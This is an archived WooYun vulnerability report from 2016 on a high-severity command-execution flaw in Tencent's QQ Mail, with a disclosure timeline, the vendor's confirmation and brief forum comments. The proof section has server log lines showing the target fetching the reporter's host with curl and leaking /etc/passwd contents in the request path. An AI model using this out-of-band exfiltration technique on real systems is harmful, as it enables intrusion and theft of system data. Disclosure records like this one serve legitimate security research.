当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0205381

漏洞标题：QQ邮箱命某处令执行

相关厂商：腾讯

漏洞作者： 路人甲

提交时间：2016-05-05 17:21

修复时间：2016-06-23 12:50

公开时间：2016-06-23 12:50

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-05： 细节已通知厂商并且等待厂商处理中
2016-05-09： 厂商已经确认，细节仅向厂商公开
2016-05-19： 细节向核心白帽子及相关领域专家公开
2016-05-29： 细节向普通白帽子公开
2016-06-08： 细节向实习白帽子公开
2016-06-23： 细节向公众公开

简要描述：

qq邮箱命令执行

详细说明：

漏洞位置

2.png

漏洞证明：

1.png


183.60.1.124 - - [05/May/2016:17:15:32 +0800] "GET /qspace.Linux HTTP/1.1" 404 170 "-" "curl/7.15.1 (x86_64-suse-linux) libcurl/7.15.1 OpenSSL/0.9.8z zlib/1.2.3 libidn/0.6.0" -
183.60.1.124 - - [05/May/2016:17:18:05 +0800] "GET /qspace.root:x:0:0:root:/root:/bin/bash HTTP/1.1" 404 170 "-" "curl/7.15.1 (x86_64-suse-linux) libcurl/7.15.1 OpenSSL/0.9.8z zlib/1.2.3 libidn/0.6.0" -

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-05-09 12:47

厂商回复：

非常感谢您的报告，已经有人在tsrc平台报告过，此问题我们已经第一时间紧急处理。感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-05 17:24 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:941 漏洞数:108 )

    吊炸天

  2. 2016-05-05 17:25 | 红客十年 ( 普通白帽子 | Rank:392 漏洞数:80 | 去年离职富士康，回到家中上蓝翔，蓝翔毕业...)

    握草好屌

  3. 2016-05-05 17:26 | Aasron ( 普通白帽子 | Rank:891 漏洞数:163 | raw_input("你知道我要输入什么？"))

    这image命令执行问题，看来又要刷一波

  4. 2016-05-05 17:32 | prolog ( 普通白帽子 | Rank:944 漏洞数:197 )

    666666

  5. 2016-05-05 17:38 | 残废 ( 普通白帽子 | Rank:274 漏洞数:58 | 我是残废，啦啦啦啦)

    吊炸天

  6. 2016-05-05 17:48 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈！躁起来！)

    开始不信，现在信了

  7. 2016-05-05 17:50 | Erised ( 路人 | Rank:8 漏洞数:4 | ../../../../../../../../../../../../../....)

    666666

  8. 2016-05-05 20:14 | 过客 ( 实习白帽子 | Rank:42 漏洞数:13 )

    已从其它渠道获知，1 rank

  9. 2016-05-08 23:17 | 乌云首席鉴黄师 ( 路人 | Rank:23 漏洞数:6 | 这个人很懒，什么也没留下。)

    @浩天 http://www.wooyun.org/bugs/wooyun-2016-0206512/trace/f8abf135819d7eece33af9bf6a5de4d3http://www.wooyun.org/bugs/wooyun-2016-0206410/trace/4d960871e8d6587fe4c5390a3827563c大牛审核一下